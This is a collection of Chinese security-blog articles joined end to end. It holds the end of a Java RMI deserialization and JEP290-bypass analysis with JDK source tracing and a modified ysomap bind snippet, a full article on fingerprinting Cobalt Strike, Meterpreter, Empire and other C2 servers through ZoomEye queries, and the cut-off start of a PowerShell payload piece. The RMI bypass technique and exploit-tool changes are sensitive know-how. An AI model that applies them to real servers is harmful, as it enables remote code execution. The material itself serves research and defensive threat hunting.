if (var1 == null) {
var1 = chooseFactory();
}
//var1就是我们的payload中构建的ssf.调用他的createServerSocket
//会根据动态代理进入RemoteObjectInvocationHandler#invoke
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
if (this.listenPort == 0) {
setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
}
`java.rmi.server.RemoteObjectInvocationHandler#invoke`：
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
//method是java.rmi.server.RMIServerSocketFactory的createServerSocket方法
//....
//这边都不满足
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
//进入此处
return invokeRemoteMethod(proxy, method, args);
}
}
`java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod`：
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException(
"proxy not Remote instance");
}
//我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址
//这里开始了触发JRMP请求
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
} catch (Exception e) {
令人激动的`sun.rmi.server.UnicastRef#invoke`我们之前JRMP触发就是在这里触发的，但是之前是`sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)`虽然接口是不一样，但是做的事情差不多
`sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method,
java.lang.Object[], long)`
public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {
//省略部分代码...
//从ref中获取连接
Connection var6 = this.ref.getChannel().newConnection();
StreamRemoteCall var7 = null;
boolean var8 = true;
boolean var9 = false;
Object var13;
try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + var4);
}
//********对ref发起JRMP请求**********
var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);
//处理结果
Object var11;
try {
ObjectOutput var10 = var7.getOutputStream();
this.marshalCustomCallData(var10);
var11 = var2.getParameterTypes();
for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
}
} catch (IOException var39) {
clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: ", var39);
throw new MarshalException("error marshalling arguments", var39);
}
//*******JRMP服务端返回信息，反序列化触发处*******
var7.executeCall();
JRMP请求已经发起了并且返回包也收到了，接下来的报错信息饭反序列化触发点就一样了
`sun.rmi.transport.StreamRemoteCall#executeCall`
public void executeCall() throws Exception {
//..省略
switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
//***这里触发反序列化JRMP服务端的返回的恶意对象***
var14 = this.in.readObject();
} catch (Exception var10) {
总结三个关键点：
1. 利用readobject的复写特性执行UnicastRemoteObject的readObject
2. 利用动态代理的拦截执行invoke的特性，在UnicastRemoteObject#readObject的调用链中执行`proxy对象.createServerSocket`跳到了RemoteObjectInvocationHandler的invoke方法
3. RemoteObjectInvocationHandler的invoke方法可以根据内置的ref向外发起JRMP连接，再反序列化返回结果
妙呀妙呀，动态代理终于再也不是工具人了。
妙啊妙啊，大佬就是大佬。
### 复现—绕过8u231
利用ysomap的RMIConnectWithUnicastRemoteObject模块就可以惹。（也可以在源码的ysomap.core.exploit.rmi.NamingTest#lookup测试模块进行测试）
但是我们会发现........刚才用之前的 **readobject的递归-填装-触发** 绕过方法在8u231还会被完美拦截，这次却可以了.....
激动的搓手手！An Trinh NB！鸡肋个锤子鸡肋，这个绕过方式绕过了231u11版本！！！
我们来看看是如何做到的！同样从231u11的两处修复出发：
1. `sun.rmi.registry.RegistryImpl_Skel#dispatch`报错情况消除ref
看上面的触发流程，你就知道为啥绕过了。
这项修复针对的是 **readobject的递归-填装-触发模式**
JRMP请求发起，在readobject中利用复写的Gadagets完全不受这个ref清除操作的影响。完美！
2. `sun.rmi.transport.DGCImpl_Stub#dirty`提前了黑名单
这是针对在JRMP触发链获取到JRMP服务器之后的一个黑名单拦截修复。
但是看看上面利用成功调用栈，会发现这个调用栈压根不走DGC层的dirty，而是直接调用了ref的invoke，相当于绕过了之前触发链的黑名单拦截。完美！
那么为什么这个Gadgets能绕过231u11的修复，我们也就清楚了。也不知道是无意为之还是刻意所为，这种每个地方都恰到好处的美感.......嘶.......
### 8u241的修复第一处
在8u241版本，针对这个绕过链进行了修复：修复说明在[Oracle官网也有说明](https://www.oracle.com/technetwork/java/javase/8u241-relnotes-5813177.html#JDK-8230967)
重点就是把应该是String的地方从本来的`(String)var9.readobject()`改成了
`SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);`前者是可以反序列化Object的，但是后者就完全不接受反序列化Object。
为什么荃湾不接受反序列化Object呢，调试跟进看readString里面：
private String readString() throws IOException {
try {
return (String) readObject(String.class);//进入此处
} catch (ClassNotFoundException cnf) {
throw new IllegalStateException(cnf);
}
}
调用了`java.io.ObjectInputStream#readObject(java.lang.Class<?>)`，这个readString进来的接口跟我们平时调用readObject不一样：
//平时调用的
public final Object readObject()
throws IOException, ClassNotFoundException {
return readObject(Object.class);//我们平常会进入此处
}
`readObject(Object.class);`与`readObject(String.class);`
在`java.io.ObjectInputStream#readObject(type)`会进行一些无关竟要的操作然后传递type
进入`java.io.ObjectInputStream#readObject0(type)`：
//8u241时这里，type传入String
private Object readObject0(Class<?> type, boolean unshared) throws IOException {
//...
case TC_OBJECT://我们输入的payload对象是一个Object
if (type == String.class) {
//8u241 type=String 直接在此处报错不进行反序列化了
throw new ClassCastException("Cannot cast an object to java.lang.String");
}
//之前的版本都是传入type=Object于是正常反序列化
return checkResolve(readOrdinaryObject(unshared));
//..
}
所以在8u241中，如果参数应该是String的反序列化点就直接拒绝了Object的反序列化，杜绝了我们的上面的Gadgets。
### bind加上IP限制枷锁还可以用？
那么是不是所有地方都做了这种限制呢？其实也不是，重新看回`sun.rmi.registry.RegistryImpl_Skel#dispatch`:
case 0:
//bind操作，权限检查
RegistryImpl.checkAccess("Registry.bind");
try {
var10 = (ObjectInputStream)var7.getInputStream();
var8 = SharedSecrets.getJavaObjectInputStreamReadString().readString(var10);
var81 = (Remote)var10.readObject();//这里还是正常的readObject
} catch (IOException | ClassNotFoundException | ClassCastException var78) {
var7.discardPendingRefs();
throw new UnmarshalException("error unmarshalling arguments", var78);
} finally {
var7.releaseInputStream();
}
发现bind中还是有可以反序列化的点的。但是这又回到了原来的问题：
bind由于`RegistryImpl.checkAccess("Registry.bind");`这句话在8u141之后有注册端地址校验限制，我们之前也是想要绕过8u141的限制所以转战lookup。（同时rebind也一样）
那么我们可不可以接受IP限制，假设场景：RMI服务器与RMI注册端分离，我们获取了一台对方内网的RMI服务器然后去利用RMI反序列化攻击RMI注册端，是否在8u241的版本下可行呢？
1. 使用bind通讯
2. 使用An Trinh的UnicastRemoteObject链
3. 由于使用到UnicastRemoteObject对象这就需要修改bind的底层协议使UnicastRemoteObject对象内容不会被覆盖，这就需要修改bind通讯。（在 绕过序列化过程中的替换使所有类均可用于攻击 一节中提到）
选取ysomap作为poc构造工具，参考lookup重构一个bind协议：
`ysomap.core.exploit.rmi.component.Naming`
public static Remote bind(Registry registry,String name, Object obj)
throws Exception {
//..一致
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 0, interfaceHash);//修改为0，bind接口编号
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace，处理覆盖问题
ReflectionHelper.setFieldValue(out, "enableReplace", false);
out.writeObject(name);//随便写
out.writeObject(obj); // payload
//..
}
然后修改`ysomap.core.exploit.rmi.RMIRegistryExploit`里面`Naming.lookup(registry,
remote);`为`Naming.bind(registry, name,remote);`
尝试攻击8u241
华丽失败
### 8u241的修复第二处
好吧，肯定是哪里有问题，0day就这样没了（狗头）。
问题在于8u241还修复了调用栈中的`java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod`方法。（复用调用栈的图，第三行）
对比下8u231和8u241：
添加了一处针对传入method的验证。
这个的method是从`sun.rmi.transport.tcp.TCPEndpoint#newServerSocket`的
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
由于动态代理特性过来的，method就是createServerSocket这个方法，然而它理所当然不是一个remote接口
public interface RMIServerSocketFactory {
public ServerSocket createServerSocket(int port)
throws IOException;
}
所以即使我们用bind绕过第一个修复，还是被第二个修复处给干掉了。
假如要硬趟着修复点过去，必须在UnicastRemoteObject的invoke的调用栈中，找到一个可控的同时方法还是remote的地方，再把它接到RemoteObjectInvocationHandler的invoke方法，从而满足这个修复点的验证。
太难，太难。
至此8u241之后针对RMI服务的反序列化攻击，就GG了......
## 小结&总结
针对利用JRMP反序列化绕过JEP290-bind：
1. 反序列化打服务端，可以使用一个服务端不存在的类。在这个服务端不存在的类的变量中放入payload，这个payload会在服务端反序列化这个不存在的类的时候触发，虽然会报错，但是会触发。
2. 指出了[bsmali4师傅的文](\[http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/\]\(http://www.codersec.net/2018/09/一次攻击内网rmi服务的深思/))中关于UnicastRemoteObject类不能用是因为ref属性为transient的错误。（在动态代理-RemoteObjectInvocationHandler一节中）
3. 在利用JRMP反序列化绕过JEP290的Ysoserial的实现中，利用RemoteObjectInvocationHandler仍然使用动态代理是非必要的。
4. 在利用JRMP反序列化绕过JEP290的Ysoserial的实现，利用服务端不存在的自定义的InvocationHandler是可行的。
针对利用JRMP反序列化绕过JEP290-lookup：
1. 利用lookup，绕过了8u141的限制，从而真正完成了JEP290的版本绕过
来自An Trinh的另一种绕过JEP290的思路：
1. 利用RemoteObjectInvocationHandler完全不同的触发点，绕过了8u231的修复，被8u241阻止了为所欲为。
最后总结：
## 参考
认真看了很多老哥的博客，先给全员点个赞：
写到一半的时候发现总体文章框架是跟[attacking-java-rmi-services-after-jep-290](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)雷同的，原来我想写的已经有人做过了，想想当作这篇文章详细版本好了，但是到后面发现还是发现了一些别人没有记录下来或没有细说的东西，比如自定义类，lookup绕过等。
在文章后半部分还大量参考了[0kami的研究结果](https://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/)和[An Trinh的绕过方式](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/)，膜拜。
此外[paper这篇](https://paper.seebug.org/1091/)在第三点RMI的动态加载、第四点JNDI注入都花了比较多的笔墨，但是在对于第二点RMI服务端的反序列化攻击中，讨论了
**RMI客户端--攻击-->RMI服务端**的情况，同时也是要求RMI服务端必须提供一个输入参数为Object的方法，客户端调用这个方法传入Object的payload。此外将RMI
**客户端--通过lookup攻击-- >RMI注册端**的情况点了一下（也就是我忽略了的注册端）。
[threedr3am第一篇](https://xz.aliyun.com/t/7079)讲述了JNDI注入、 **RMI服务端---通过bind攻击--RMI注册端** ，导致RMI注册端被RCE（此处他文章中的标题与讲述内容不符，应该是标题写错了），JRMP的客户端与服务端攻击。
[threedr3am第二篇](https://xz.aliyun.com/t/7264)细节分析了 **RMI客户端---通过lookup攻击--RMI注册端** （以及注册端回打客户端）、 **RMI服务端---通过bind攻击--RMI注册端** ，点了一下 **RMI客户端---通过替换参数攻击
--RMI服务端**
，重新分析了下JNDI注入关于Reference远程对象的细节（这里可能会出现误解，攻击场景是我们控制一个RMI服务端，我们要让RMI客户端（受害者）主动来`new
InitialContext().lookup`我们，这个lookup与RMI客户端查询RMI注册端的lookup不一样【前者的lookup=后者的lookup查询+会触发漏洞的解析过程】，最后导致客户端被RCE）、打注册端时在8u121之后的JDK存在黑名单，出现Yso-RMIClient、再是JNDI注入绕过。
[afanti的Bypass
JEP290攻击rmi](https://www.anquanke.com/post/id/200860)与[0c0c0f的RMI漏洞的另一种利用方式](https://mp.weixin.qq.com/s/TbaRFaAQlT25ASmdTK_UOg)实际都是讲述了客户端攻击服务端解析参数时绕过Object的方法
<https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/>
译文：<https://nosec.org/home/detail/2541.html>
<https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/>
<https://paper.seebug.org/1091/>
<http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/>
<https://www.anquanke.com/post/id/204740>
<https://www.anquanke.com/post/id/197829>
<https://www.anquanke.com/post/id/199481>
<https://blog.csdn.net/leehdsniper/article/details/71599504>
<http://www.hayasec.me/2018/03/21/java-rmi%E5%8F%8D%E5%BA%8F%E5%88%97%E9%97%B2%E8%B0%88/>
<https://www.anquanke.com/post/id/85681>
<https://www.freebuf.com/articles/web/214096.html>
<https://www.apiref.com/java11-zh/java.rmi/java/rmi/dgc/DGC.html>
<https://xz.aliyun.com/t/2651>
<https://xz.aliyun.com/t/2650>
<https://xz.aliyun.com/t/2649> | 社区文章 |
**作者：Malayke
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
### 前言
由于工作原因一直都是网络空间搜索引擎重度用户，包括Shodan/ZoomEye/Censys/Fofa等平台都有过使用经验，甚至自己团队也尝试开发过类似平台。自认为还是非常了解的，在前面看过黑哥写的几篇文章后及国外研究者的一些文章后做了一些尝试，顺带也分享下多年使用搜索引擎的一些搜索套路，希望大家能喜欢，当然这个也是为了迎合下ZoomEye官方写文章送会员的活动
:)
不说废话了，步入正题：
### 1、Cobalt Strike
这个方法最早是在黑哥在medium上发布两篇文章介绍利用ZoomEye识别在野Cobalt
Strike服务器的文章[1][2]介绍的,因为文章是英文写的发布在medium上国内直接访问不到，所以这里再次简单介绍一下。在此之前我们需要提一下Fox-it的工作，是他们最早开始通过网络空间测绘技术去识别追踪在野Cobalt Strike的工作并在他们的blog上发布了对应的研究成果[3]，Cobalt
Strike提供的Web服务是基于NanoHTTPD开源框架开发的，而当时Fox-it工程师发现NanoHTTPD返回banner里存在一个异常的空格“bug”，然后通过这个异常的空格去识别。随后Cobalt
Strike官方在发布的3.13版本了对这个“bug”做了更新处理。
事实上我们不需要这个利用这个所谓的异常的空格“bug”，根据观察Cobalt
Strike的WEB服务返回http头存在比较明显的特征，由此来识别追踪Cobalt Strike。
首先我们看看Cobalt Strike版本小于3.13的，返回banner信息（直接复制的黑哥文章里的内容）
? curl http://x.x.x.x:8081/ -v
- Rebuilt URL to: [http://x.x.x.x:8081/](http://x.x.x.x:8081/)
- Trying x.x.x.x…
- TCP_NODELAY set
- Connected to x.x.x.x (x.x.x.x) port 8081 (#0)
> GET / HTTP/1.1
Host: x.x.x.x:8081
User-Agent: curl/7.54.0
Accept: /
< HTTP/1.1 404 Not Found
< Content-Type: text/plain
< Date: Wed, 27 Feb 2019 14:43:19 GMT
< Content-Length: 0
<
通过curl直接请求Cobalt Strike的WEB服务器端口主页内容返回http头非常简单并且特征化，直接提取两个关键字符串`"HTTP/1.1 404
Not Found Content-Type: text/plain Date:"`及`"Content-Length: 0"`
(注：这里需要说明下ZoomEye在匹配处理是忽视回车换行的，不提取Date的部分是因为这个这个时间是变化的)，这里我们通过+进行“且”运算（注：这里顺带说明下ZoomEye支持的逻辑运算：空格
为or运算符 表示逻辑“或”运算，+ 为and运算符 表示逻辑“且”运算，- 为 not运算符 表示逻辑“非”运算）
搜索语法如下：
`"HTTP/1.1 404 Not Found Content-Type: text/plain Date:" +"Content-Length: 0"`
[https://www.zoomeye.org/searchResult?q="HTTP/1.1404NotFoundContent-Type:text/plainDate:"+"Content-Length:0"&t=all](https://www.zoomeye.org/searchResult?q="HTTP%2F1.1)
通过采样观察，这个搜索语法得到的结果有不少误报：比如Cobalt
Strike的返回头信息里是没有"Server:"头的，也没有"Connection:"等头，这里我们可以通过-运算(not运算)进行排除,通过尝试我们发现"Server"这个关键词在于ssl等信息里直接运算可能导致漏报，所以我们这里直接使用"Connection:"的not运算，最终搜索语法如下：
`"HTTP/1.1 404 Not Found Content-Type: text/plain Date:" +"Content-Length: 0"
-"Connection:"`
[https://www.zoomeye.org/searchResult?q="HTTP%2F1.1 404 Not Found Content-Type%3A text%2Fplain Date%3A" %2B"Content-Length%3A 0"
-"Connection%3A"](https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20404%20Not%20Found%20%20%20Content-Type%3A%20text%2Fplain%20Date%3A%22%20%2B%22Content-Length%3A%200%22%20-%22Connection%3A%22)
上面我们提到Cobalt Strike在3.13版本的时候修复了“异常空格bug”的同时也修改了默认返回的http头：（直接复制的黑哥文章里的内容）
? curl http://x.x.x.x:8001/ -v
- Rebuilt URL to: http://x.x.x.x:8001/
- Trying x.x.x.x…
- TCP_NODELAY set
- Connected to x.x.x.x port 8001 (#0)
> GET / HTTP/1.1
Host: x.x.x.x:8001
User-Agent: curl/7.54.0
Accept: /
< HTTP/1.1 404 Not Found
< Date: Thu, 26 Mar 2020 13:19:16 GMT
< Content-Type: text/plain
< Content-Length: 0
<
可以看到返回的http有内容顺序进行变动：Date:头提前了，所以之前的搜索语法是没办法直接工作了，那么我们按上面提到套路稍微改变下试一下，因为ZoomEye匹配模式不会去考虑回车换行的问题，我们把banner整理为一行：
`HTTP/1.1 404 Not Found Date: Fri, 10 Apr 2020 07:16:27 GMT Content-Type:
text/plain Content-Length: 0`
因为时间是变化的所以分割一下：
HTTP/1.1 404 Not Found Date:
Fri, 10 Apr 2020 07:16:27
GMT Content-Type: text/plain Content-Length: 0
我们直接取1 +3搜索，并继续使用 -"Connection:"继续排除，得到最终搜索语法：
`"HTTP/1.1 404 Not Found Date:" +"GMT Content-Type: text/plain Content-Length:
0" -"Connection:"`
[https://www.zoomeye.org/searchResult?q="HTTP%2F1.1 404 Not Found Date%3A"
%2B"GMT Content-Type%3A text%2Fplain Content-Length%3A 0"
-"Connection%3A"](https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20404%20Not%20Found%20Date%3A%22%20%2B%22GMT%20Content-Type%3A%20text%2Fplain%20Content-Length%3A%200%22%20-%22Connection%3A%22)
大家如果有兴趣可以去推特等上找一些开源情报信息验证一下。
这里需要说明下这个主要是根据NanoHTTPD的返回头进行识别的尤其是针对Cobalt Strike
3.13之前的版本，所以有可能其他的设备也使用NanoHTTPD这个组件也会被识别出来形成误报，另外在黑哥发布方法后有很多的Cobalt
Strike使用团队开始修改了配置进行伪装，这个也是我这里需要提醒红队注意在使用Cobalt Strike的时候只是修改了证书啥的配置，那是远远不够的。
### 2、Meterpreter
Metasploit 的 Meterpreter
其实常用的方式有tcp也有http(s)的模式，在ZoomEye上有现成Metasploit相关的规则（提示：在搜索框里输入Metasploit及可关联出所有的Metasploit相关的app）：
`app:"Metasploit Rex httpd"` `app:"Metasploit meterpreter metsvc"`
`app:"Metasploit meterpreter"` `app:"Metasploit browser_autopwn"`
这几个规则大多是基于tcp的方式的，并不是这次主要目标。也就是http(s)的方式是我们今天的目标，在2019年的一篇文章里有国外的研究员提到了一个方法，这个方法有点类似Cobalt
Strike上面的方法[4]，都是从http(s)服务返回特征入手，这里我们看一下`msf`的相关代码
`lib/msf/core/handler/reverse_http.rb#L82 [5]`
OptString.new('HttpUnknownRequestResponse',
'The returned HTML response body when the handler receives a request that is not from a payload',
default: '<html><body><h1>It works!</h1></body></html>'
),
返回特征也很明显，于是尝试搜索：`"<html><body><h1>It works!</h1></body></html>"`
<https://www.zoomeye.org/searchResult?q=%22%3Chtml%3E%3Cbody%3E%3Ch1%3EIt%20works!%3C/h1%3E%3C/body%3E%3C/html%3E%22>
很明显这个结果误报太多，我猜MSF开发人员当时就是想模仿Apache的默认返回内容，所以我们还得回到Cobalt
Strike套路上，看看Metasploit Meterpreter http(s)上线模式WEB服务的返回头的信息：
- Trying 0.0.0.0:1337...
- TCP_NODELAY set
- Connected to 0.0.0.0 port 1337 (#0)
> GET / HTTP/1.1
Host: 0.0.0.0:1337
User-Agent: curl/7.68.0
Accept: /
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Connection: close
Connection: close
< Server: Apache
Server: Apache
< Content-Length: 44
Content-Length: 44
<
- Closing connection 0
<html><body><h1>It works!</h1></body></html>
在上面提到的国外研究员那篇文章[5]里提了一个特征：真正的Apache的默认返回页面的内容有一个额外的\n，而MSF的没有，于是通过Censys提供的body
hash规则进行匹配搜索[6],随机追踪了几个目标很显然这个方法存在很严重的误报。所以我们这里只能回归到ZoomEye的老套路上了，观察Metasploit
Meterpreter http(s)模式的WEB服务返回banner：
HTTP/1.1 200 OK
Connection: close
Server: Apache
Content-Length: 44
<html><body><h1>It works!</h1></body></html>
因为这些没有存在变化的元素，那就直接复制上面的字符段开搜：
`"HTTP/1.1 200 OK Connection: close Server: Apache Content-Length: 44
<html><body><h1>It works!</h1></body></html>"`
当然因为这个Content-Length: 44 已经很唯一了，所以其实我们在简洁一下去掉后面的html内容，最终搜索语法如下：
`"HTTP/1.1 200 OK Connection: close Server: Apache Content-Length: 44"`
[https://www.zoomeye.org/searchResult?q="HTTP%2F1.1 200 OK Connection%3A close
Server%3A Apache Content-Length%3A
44"](https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20200%20OK%20Connection%3A%20close%20Server%3A%20Apache%20Content-Length%3A%2044%22)
### 3、Empire
相比Cobalt
Strike及Metasploit，可能Empire知名度稍微差那么一点点，不过目前也是有不少人在使用，在这里我需要说明一下我之前是没有用过这个东西的所以就不多做其他评价了，本文主要是介绍怎么通过ZoomEye去搜索这些框架，我这里不想现成单独去安装一个去获取指纹，那还有其他套路可以走？
这里我介绍一个很常用的套路：“从其他搜索引擎语法到ZoomEye搜索语法”。再此之前我留意到一个著名FireEye公司的研究者的的一个PPT[7]（这里需要说明下的是这个PPT的主题和本文其实一样的，本文的下面的一些研究的包括Empire等框架目标也是参考了这个PPT）另外顺带说一下题外八卦：
这个PPT里的主题和本文其实是一个主题，之前黑哥也在他的知识星球“黑科技”里吐槽过，大意是说他这个PPT里使用的套路尤其是Cobalt
Strike那部分是有参考了本文开始提到黑哥的那些研究内容的，而且全篇直接忽视了来自中国的ZoomEye，看来川普同学覆盖面还是很广的！
回归正题，在这个ppt里提到了一个Empire的shodan搜索语法：
http.html_hash:"611100469"
[https://www.shodan.io/search?query=http.html_hash%3A"611100469"](https://www.shodan.io/search?query=http.html_hash%3A%22611100469%22)
这里利用的背后的原理也类似上面Metasploit
Meterpreter提到的问题，这里Empire是想伪装成为IIS服务器，但是因为使用空格、tab的区别导致跟真正的IIS页面不一致导致的，所以国外的研究人员都喜欢从比对这个角度去想办法。那么我们怎么从Shodan这个语法转化为ZoomEye的搜索语法呢？首先我们通过Shodan搜索结果找到如下banner：
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 682
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Server: Microsoft-IIS/7.5
Date: Wed, 19 Aug 2020 08:33:52 GMT
细心的人可以发现：真假IIS页面的主要区别在html里空格与tab的区别，那为什么你只关注http头呢？其实这个问题上面的例子就用过了那就是
"Content-Length: 682 "，页面内容长度变化都体现在http头Content-Length上，对于正常的IIS7的返回Content-Length 我们可以通过ZoomEye搜索:
`<title>IIS7</title>
[https://www.zoomeye.org/searchResult?q=<title>IIS7</title>](https://www.zoomeye.org/searchResult?q=%3Ctitle%3EIIS7%3C/title%3E)`
正常的为`"Content-Length: 689"`,
而且Empire的返回头的内容及顺序是相对固定的，IIS7本身很多设置相关而有变化，所以我们继续老套路提取http头特征：
`"HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 682
Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires:
0"`
[https://www.zoomeye.org/searchResult?q="HTTP%2F1.0 200 OK Content-Type%3A
text%2Fhtml%3B charset%3Dutf-8 Content-Length%3A 682 Cache-Control%3A no-cache%2C no-store%2C must-revalidate Pragma%3A no-cache Expires%3A
0"](https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.0%20200%20OK%20Content-Type%3A%20text%2Fhtml%3B%20charset%3Dutf-8%20Content-Length%3A%20682%20Cache-Control%3A%20no-cache%2C%20no-store%2C%20must-revalidate%20Pragma%3A%20no-cache%20Expires%3A%200%22)
### 4、SpiderLabs Responder
这个目标同样来自于FireEye公司的研究者的PPT，关于SpiderLabs
Responder的介绍可以自行搜索或者访问项目主页：<https://github.com/SpiderLabs/Responder>
这个框架字纹是由于http头里直接硬编码了Date:头[8]
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("PoweredBy", "X-Powered-By: [ASP.NET](http://asp.net/)\r\n"),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
从上面的案例或者正常情况来看Date是变化的，可以直接搜索：
`"Date: Wed, 12 Sep 2012 13:06:55 GMT"`
[https://www.zoomeye.org/searchResult?q="Date%3A Wed%2C 12 Sep 2012
13%3A06%3A55
GMT"](https://www.zoomeye.org/searchResult?q=%22Date%3A%20Wed%2C%2012%20Sep%202012%2013%3A06%3A55%20GMT%22)
这里需要注意的是在FireEye那个PPT里强调了"HTTP/1.1 401
Unauthorized",不过在我看来这个是没有必要的，在我看来这个Date:硬编码能撞上的几率那是非常小的，SpiderLabs
Responde是个开源项目，很可能有其他变种或者参考代码的项目，于是我在github上搜索了下确实找到不少：[https://github.com/search?q="Date%3A+Wed%2C+12+Sep+2012+13%3A06%3A55+GMT"&type=Code](https://github.com/search?q=%22Date%3A+Wed%2C+12+Sep+2012+13%3A06%3A55+GMT%22&type=Code)
大部分属于代理中间人框架。
### 5、PoshC2
PoshC2 是基于powershell开发的C2代理框架，介绍详见：<https://github.com/nettitude/PoshC2>
我们这里从另外一个使用网络空间搜索引擎的常用套路：“证书搜索”，在github项目主页搜索Certificate 后找到
<https://github.com/nettitude/PoshC2/blob/9d76be26e4c606c3630d0a54fb0d36566e696526/poshc2/server/Config.py>
代码：
Certificate Options
Cert_C = "US"
Cert_ST = "Minnesota"
Cert_L = "Minnetonka"
Cert_O = "Pajfds"
Cert_OU = "Jethpro"
Cert_CN = "P18055077"
Cert_SerialNumber = 1000
Cert_NotBefore = 0
Cert_NotAfter = (10 * 365 * 24 * 60 * 60)
看到"P18055077"这个很特别，直接使用ZoomEye证书搜索语法：
`ssl:"P18055077"`
[https://www.zoomeye.org/searchResult?q=ssl:"P18055077"](https://www.zoomeye.org/searchResult?q=ssl:%22P18055077%22)
这里顺带提一句：证书搜索很可能出现覆盖不全的情况，这个例子里本身搜索出来的结果不太多所以不是很明显，所以遇到其他的例子可以先通过证书搜索的到返回的banner后，再根据提取banner特征去搜索匹配。
### 总结
1、主动扫描探测及网络空间搜索引擎可以协助我们追踪识别各种攻击者痕迹，也非常认同黑哥提出来的“动态测绘”的观点，通过动态测绘关联各种数据可以更加完善攻击者画像，比如上文里介绍的几个框架都是历史上多个APT组织使用过的框架。目前从火眼等多个公司的文章来看，有更多的安全关注到主动扫描及网络空间搜索引擎在APT追踪领域的应用。
2、对于红队来说应该注意到C2服务器的安全，尤其这些渗透攻击框架的默认配置需要做修改，以免被主动扫描追踪。
3、对于蓝队来说网络空间搜索引擎也是威胁情报的来源之一，我们能提前获取某些C2 IP并监控拉黑，或许有意想不到的发现。
### 参考
[1] [Identifying Cobalt Strike team servers in the wild by using
ZoomEye](https://medium.com/@80vul/identifying-cobalt-strike-team-servers-in-the-wild-by-using-zoomeye-debf995b6798)
[2] [Identifying Cobalt Strike team servers in the wild by using ZoomEye(Part
2)](https://medium.com/@80vul/identifying-cobalt-strike-team-servers-in-the-wild-by-using-zoomeye-part-2-acace5cc612c)
[3] [Identifying Cobalt Strike team servers in the wild](https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/)
[4] [Analysing meterpreter payload with
Ghidra](https://isc.sans.edu/forums/diary/Analysing+meterpreter+payload+with+Ghidra/24722/)
[5] <https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/lib/msf/core/handler/reverse_http.rb#L82>
[6]
<https://censys.io/ipv4?q=8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb>
[7] <https://github.com/aaronst/talks/blob/master/scanttouchthis.pdf>
[8] <https://github.com/SpiderLabs/Responder/blob/master/packets.py>
* * * | 社区文章 |
# 【技术分享】Windows环境渗透技巧之PowerShell Payload的远程执行
|
##### 译文声明
本文是翻译文章，文章来源：artkond.com
原文地址：<https://artkond.com/2016/12/25/pentesting-windows-powershell/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[h4d35](http://bobao.360.cn/member/contribute?uid=1630860495)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在Windows环境的渗透测试过程中，PowerShell对于攻击者来说是绝佳的后期利用工具。在内部测试过程中，像PowerSploit和PowerShell
